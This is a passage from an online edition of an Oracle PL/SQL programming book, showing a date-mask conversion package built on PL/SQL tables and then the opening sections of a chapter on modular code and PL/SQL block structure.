You have a number of options for storing these date masks in memory:

  • GLOBAL variables in Oracle Forms. These variables persist across forms and menus in an application and so are good candidates to store information which should last for an entire user session.

  • A record group in Oracle Forms. This structure takes less memory than GLOBAL variables (which use a fixed 255 bytes regardless of the actual data stored in the variable) and can be manipulated more naturally with Oracle Forms built-ins. However, you cannot currently pass a record group from one form to another (except with a call to RUN_PRODUCT, which is not always appropriate). You might use the record group if the user performs date processing primarily within a single form. Or you might just be looking for an excuse to practice building and manipulating record groups.

  • Other tool-specific memory structures.

  • A PL/SQL table in PL/SQL Version 2. Oracle's version of a simple array structure is perfect for this application; unfortunately, PL/SQL tables are available only in the RDBMS (through stored procedures and triggers) and SQL*Plus scripts.

I provide the code for PL/SQL table-based alternatives in the following sections. The technique based on Oracle Forms GLOBAL variables may be found in the dmcnvrt.doc and dmcnvrt.fp files on the companion disk. In both cases, there are two steps involved in using the memory-resident, data-driven approach:

  1. Initialize the data structure with the various format masks.

  2. Revamp dm_convert to rely on that data structure.

Notice that the specification of the call to dm_convert does not change with any of these new implementations. I am changing the engine under the hood without making any alterations to the body style, dashboard, or steering controls. None of the triggers that call dm_convert would have to be modified if you did change the storage implementation for the date masks.

14.3.5.5 Storing and accessing date masks in a PL/SQL table

You can also store the date masks in a PL/SQL table (PL/SQL tables are explained fully in Chapter 10, PL/SQL Tables). The PL/SQL table structure, available only with PL/SQL Version 2, is similar to both a database table and a single-dimensional array. There are two steps to using date masks from the PL/SQL table: Initialize the date masks in the PL/SQL table structure, and revamp dm_convert to rely on the PL/SQL table. These are described below:

  1. Initialize the date masks in the PL/SQL table structure. The best way to do this in PL/SQL tables is to build a package (see Chapter 16, Packages, for more information about this structure). This package contains the code to initialize the masks in the PL/SQL table by transferring them from the database table, to perform the date conversions, and to clean up the table when done.

    A package is made up of two parts: the specification and the body. The specification for the date manager (dm) package is:

    /* Filename on companion disk: dmcnvrt.spp */
    PACKAGE dm
IS
   /* The replacement for dm_convert */
   FUNCTION convert (value_in IN VARCHAR2) RETURN DATE;

   /* Clean-up program */
   PROCEDURE erase;

END dm;

    The body of the dm package shown in the following example contains all the code behind the specification. In addition to the definitions of the convert and erase modules, the body also contains an initialization section following the last BEGIN in the body. This section is run automatically the first (and only the first) time the convert or erase modules are called. This initialization code populates the PL/SQL table of masks.

    /* Filename on companion disk: dmcnvrt.spp */
PACKAGE BODY dm
IS
   /*
   || Declare the structure of the PL/SQL table which will hold
   || the masks. Then declare the table itself.
   */
   TYPE mask_tabtype IS TABLE OF VARCHAR2 (30) INDEX BY BINARY_INTEGER;
   mask_table mask_tabtype;

   /* Also declare an empty table for use in erasing the masks */
   empty_table mask_tabtype;

   /* Package variable which keeps track of number of rows in table */
   mask_count NUMBER;

   /* Replacement for dm_convert */
   FUNCTION convert (value_in IN VARCHAR2) RETURN DATE
   IS
      value_int VARCHAR2(100) := UPPER (value_in);
      return_value DATE := NULL;
      today DATE := SYSDATE;

      /* Loop index for the scan through the masks */
      mask_index INTEGER := 1;

      /* Boolean to terminate loop if date was converted */
      date_converted BOOLEAN := FALSE;
   BEGIN
      /* Same old shortcuts! */
      IF value_int = 'EW'
      THEN return_value := NEXT_DAY (today, 'FRIDAY');
      ELSIF value_int = 'BW'
      THEN return_value := NEXT_DAY (today, 'MONDAY') - 7;
      ELSIF value_int = 'BM'
      THEN return_value := TRUNC (today, 'MONTH');
      ELSIF value_int = 'EM'
      THEN return_value := LAST_DAY (today);

      /* Now convert from masks in table */
      ELSIF value_int IS NOT NULL
      THEN
         /* Loop through the rows in the table... */
         WHILE mask_index <= mask_count AND
               NOT date_converted
         LOOP
            BEGIN
               /* Try to convert string using mask in table row */
               return_value :=
                  TO_DATE (value_int, mask_table (mask_index));
               date_converted := TRUE;
            EXCEPTION
               WHEN OTHERS THEN
                  return_value := NULL;
                  mask_index:= mask_index+ 1;
            END;
         END LOOP;
      END IF;
      RETURN (return_value);
   END convert;

   PROCEDURE erase IS
   BEGIN
      /*
      || Clear the table of any defined rows by assigning the empty
      || table to the mask table.
      */
      mask_table := empty_table;
   END;

BEGIN
   /* ------------ Initialization Section of Package ------------*/

   /* Transfer values from RDBMS table to PL/SQL table */
   mask_count := 0;
   FOR mask_rec IN (SELECT date_mask
                      FROM dm_date_mask
                     ORDER BY date_mask_seq)
   LOOP
      mask_count := mask_count + 1;
      mask_table (mask_count) := mask_rec.date_mask;
   END LOOP;

END dm;

  2. Revamp dm_convert to rely on the PL/SQL table. The structure of the convert program in the dm package is very similar to that of the dm_convert program, which relied on global variables in Oracle Forms. In both cases, I replace the nested exception sections with a PL/SQL loop.

    To call the conversion program in the dm package, you would use dot notation, as follows:

    my_date := dm.convert ('12');

    But dm.convert is not the same thing as dm_convert, which is what all my triggers are already calling. In order to make the conversion to PL/SQL table-based format masks completely transparent to my Oracle Forms applications, I will need to build another layer of code over the package. I do this by creating a stored procedure as follows:[3]

    [3] I could also create this function in a PL/SQL library and attach it to all of my forms.

    CREATE OR REPLACE FUNCTION dm_convert (string_in IN VARCHAR2)
   RETURN DATE
IS
BEGIN
   RETURN dm.convert (string_in);
END;

Now I can call dm_convert just as I did in the good old days:

my_date := dm_convert ('12');

Previous: 14.2 Conversion Function Descriptions | Oracle PL/SQL Programming, 2nd Edition | Next: IV. Modular Code
14.2 Conversion Function Descriptions | Book Index | IV. Modular Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] Procedures and Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: IV. Modular Code Chapter 15 Next: 15.2 Review of PL/SQL Block Structure

15. Procedures and Functions

Contents:
Modular Code
Review of PL/SQL Block Structure
The Anonymous PL/SQL Block
Procedures
Functions
Parameters
Local Modules
Module Overloading
Forward Declarations
Go Forth and Modularize!

Previous parts of this book explored in detail all the components of the PL/SQL language: cursors, exceptions, loops, variables, etc. While you certainly need to know about these components when you write applications using PL/SQL, putting the pieces together to create well structured, easily understood, and smoothly maintainable programs is even more important. Because this module building process goes to the core of our purpose, it is absolutely the most critical technique for a programmer to master.

Few of our tasks are straightforward. Few solutions can be glimpsed in an instant and immediately put to paper or keyboard. The systems we build are, for the most part, large and complex, with many interacting, if not sometimes conflicting, components. Furthermore, as users deserve, demand, and receive applications that are easier to use and vastly more powerful than their predecessors, the inner world of those applications becomes correspondingly more complicated.

One of the biggest challenges in our profession today is to find a way to reduce the complexity of our environment. When faced with a massive problem to solve, a mind is likely to recoil in horror. Where do I start? How can I possibly figure out a way through that jungle of requirements and features?

A human being is not a massively parallel computer. Even the brightest of our bunch have trouble keeping track of more than seven or eight tasks at one time. We need to break down huge, intimidating projects into smaller, more manageable components, and then further decompose those components into individual programs with an understandable scope.

The best way to deal with having too much to deal with is to not deal with it all at once. Use top-down design, or "step-wise refinement," to break down a seemingly impossible challenge into smaller components. Computer scientists have developed comprehensive methodologies (for top-down design and other approaches) and performed studies on this topic -- I urge you to study their findings. When it comes to developing applications in PL/SQL, however, there is a very clear path you must take to reduce complexity and solve your problems: modularize your code!

15.1 Modular Code

Modularization is the process by which you break up large blocks of code into smaller pieces -- modules -- which can be called by other modules. Modularization of code is analogous to normalization of data, with many of the same benefits (and a few additional advantages which accrue specifically to code). With modularization, your code becomes:

  • More reusable. By breaking up a large program or entire application into individual components which "plug-and-play" together, you will usually find that many modules will be used by more than one other program in your current application. Designed properly, these utility programs could even be of use in other applications!

  • More manageable. Which would you rather debug: a 10,000-line program or five individual 2,000 line programs that call each other as needed? Our minds work better when we can focus on smaller tasks. You can also test and debug on a smaller scale (unit test) before individual modules are combined for a more complicated system test.

  • More readable. Modules have names and names describe behavior. The more you move or hide your code behind a programmatic interface, the easier it is to read and understand what that program is doing. Modularization helps you focus on the big picture rather than the individual executable statements.

  • More reliable. The code you produce will have fewer errors. The errors you do find will be easier to fix because they will be isolated within a module. In addition, your code will be easier to maintain since there is less of it and it is more readable.

Once you have mastered the different control, conditional, and cursor constructs of the PL/SQL language (the IF statement, loops, etc.), you are ready to write programs. You will not really be ready, however, to build an application until you understand how to create and combine PL/SQL modules.

PL/SQL offers the following structures which modularize your code in different ways:

Procedure

A named PL/SQL block that performs one or more actions and is called as an executable PL/SQL statement. You can pass information into and out of a procedure through its parameter list.

Function

A named PL/SQL block that returns a single value and is used just like a PL/SQL expression. You can pass information into a function through its parameter list.

Anonymous block

An unnamed PL/SQL block that performs one or more actions. An anonymous block gives the developer control over scope of identifiers and exception handling.

Package

A named collection of procedures, functions, types, and variables. A package is not really a module (it's more of a meta-module), but is so tightly related to modules that I mention it here.

I use the term module to mean either a function, a procedure, or an anonymous block, which is executed as a standalone script. As is the case with many other programming languages, modules can call other named modules. You can pass information into and out of modules with parameters. Finally, the modular structure of PL/SQL also integrates tightly with exception handlers to provide all encompassing error checking techniques.

This chapter will first review the PL/SQL block structure and anonymous blocks, and then move on to procedures and functions. The final portion of the chapter is devoted to parameters and some advanced features of PL/SQL modules, including overloading and forward referencing.

Previous: IV. Modular Code | Oracle PL/SQL Programming, 2nd Edition | Next: 15.2 Review of PL/SQL Block Structure
IV. Modular Code | Book Index | 15.2 Review of PL/SQL Block Structure
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.2 Review of PL/SQL Block Structure

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.2 Review of PL/SQL Block Structure

Chapter 1, Introduction to PL/SQL, provided a brief introduction to the PL/SQL block and its structure. Before we explore the construction of modules in PL/SQL, let's take a more detailed look at the PL/SQL block.

PL/SQL is a block-structured language. Each of the basic programming units you write to build your application is (or should be) a logical unit of work. The PL/SQL block allows you to reflect that logical structure in the physical design of your programs.

The block determines both the scope of identifiers (the area of code in which a reference to the identifier can be resolved) and the way in which exceptions are handled and propagated. A block may also contain nested sub-blocks of code, each with its own scope.

There is a common block structure to all the different types of modules. The block is broken up into four different sections, as follows:

Header

Relevant for named blocks only, the header determines the way that the named block or program must be called. The header includes the name, parameter list, and RETURN clause (for a function only).

Declaration section

The part of the block that declares variables, cursors, and sub-blocks that are referenced in the execution and exception sections. The declaration section is optional, but if you have one, it must come before the execution and exception sections.

Execution section

The part of the PL/SQL block containing the executable statements, the code that is executed by the PL/SQL run-time engine. The execution section contains the IF-THEN-ELSEs, LOOPs, assignments, and calls to other PL/SQL blocks. Every block must have at least one executable statement in the execution section.

Exception section

The section that handles exceptions to normal processing (warnings and error conditions). This final section is optional. If it is included, control is transferred to this section when an error is encountered. This section then either handles the error or passes control to the block that called the current block.

Figure 15.1 shows the structure of the PL/SQL block.

Figure 15.1: The PL/SQL block structure for procedures and functions

15.2.1 Sequence of Section Construction

The ordering of the sections in a block corresponds to the way you would write your programs and the way they are executed.

Step 1

Define the type of block (procedure, function, anonymous) and how it is called (header).

Step 2

Declare any variables used in that block (declaration section).

Step 3

Use those local variables and other PL/SQL objects to perform the required actions (execution section).

Step 4

Handle any problems that arise during the execution of the block (exception section).

The declaration and exception sections are optional in any PL/SQL block, but you must always have at least one executable statement in a block.

15.2.2 PL/SQL Block Structure Examples

Figures Figure 15.2 through Figure 15.4 illustrate several different ways that PL/SQL blocks can be constructed.

Figure 15.2: A procedure containing all four sections

Figure 15.3: A function without an exception section

Now that you understand the basic components of a PL/SQL block, let's explore the ways you can use this structure in your programming.

Previous: 15.1 Modular Code | Oracle PL/SQL Programming, 2nd Edition | Next: 15.3 The Anonymous PL/SQL Block
15.1 Modular Code | Book Index | 15.3 The Anonymous PL/SQL Block
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference